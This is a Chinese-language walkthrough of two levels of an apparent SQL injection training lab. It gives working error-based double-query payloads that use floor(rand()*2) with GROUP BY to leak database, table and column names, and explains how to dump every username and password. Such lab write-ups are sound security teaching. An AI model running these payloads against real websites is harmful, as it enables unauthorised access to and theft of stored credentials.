第5关
按题意输入id=1,发现无回显,则不可用联合注入,题目说是双重注入,那就用双重注入。
判断闭合类型
输入id=1'
报错,但是id=1'--+
不报错,说明是单引号闭合
判断字段数
order by 4无反应,order by 3有反应,则字段数为3
爆库名
?id=1' union SELECT 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a--+
这里需要详细解释一下这个指令的原理
首先
select database()
是查看当前数据库,这不必多说。
select rand()
是随机生成0-1之间的数
而floor(rand()*2)
则决定了,输出的不是0就是1。
其次是concat('a','b')
这里是将括号里面的内容一块输出,这里假设是a和b
接着是as 拟定名称 from 某个表
当然,这里选择information_schema.tables也是有原因的,其原因就是 数据多。很大概率避免了只生成security0或者security1,(嘿嘿,当然别的表也可以,影响不大)
输入该语句后会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个成员表里有5个成员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
接着是group by 列名
该语句是将具有相同的数据整合到一个组,如上图所示
最后是count(*)
如果上面的语句加上count(*),就会出现如下两种情况
第一种情况前面的数字是对应security0或1的个数,而第二个则是报错。
我们希望他出现第二种情况,因为可以从报错信息中得到我们想要的数据。
而之所以会出现两种情况是因为,存在重复的键值,group by 后面的是虚拟表的主键
group by语句如果遇到重复的键值是不会再继续插入的。那么为什么会有重复的 security1 呢?这就是双查询注入的巧妙的之处了:floor(rand()*2))
产生的数只可能是0或1,而且会在插入前和插入时被执行两次(mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次。),且两次结果可能不同。比如:第一次插入了键值 security1 ,第二次产生了一个 security0 ,它于前者不重复,但由于rand()函数的随机性,真正插入时插入的可能是 security1 (插入时 floor(rand()*2))
又被执行了一次),这样就产生的重复的键值,而报错信息会告诉我们哪个键值重复,也就泄露了我们所想要的信息。
详细原因请参考大佬文献
最后,前面加上1,是因为union具有严谨性,这个在第一关提到过,不再赘述。
这样就得到了当前数据库名
爆表名
?id=1' union SELECT 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+
这个和第一关就大同小异了
爆字段名
?id=1' union SELECT 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a--+
查数据
尝试用第一关的语句查数据,结果发现都返回You are in……
则换为如图中所示命令
这里仅仅是得出了第0行的用户名,若想得到密码,只更改username为password即可。若想得到第1行的数据,只需把0改为1即可,以此类推,即可得到所有用户名和密码。
第6关
第六关和第五关没啥区别,就是闭合方式改变了一下。这里是双引号闭合,其余都一样,这里就不赘述了。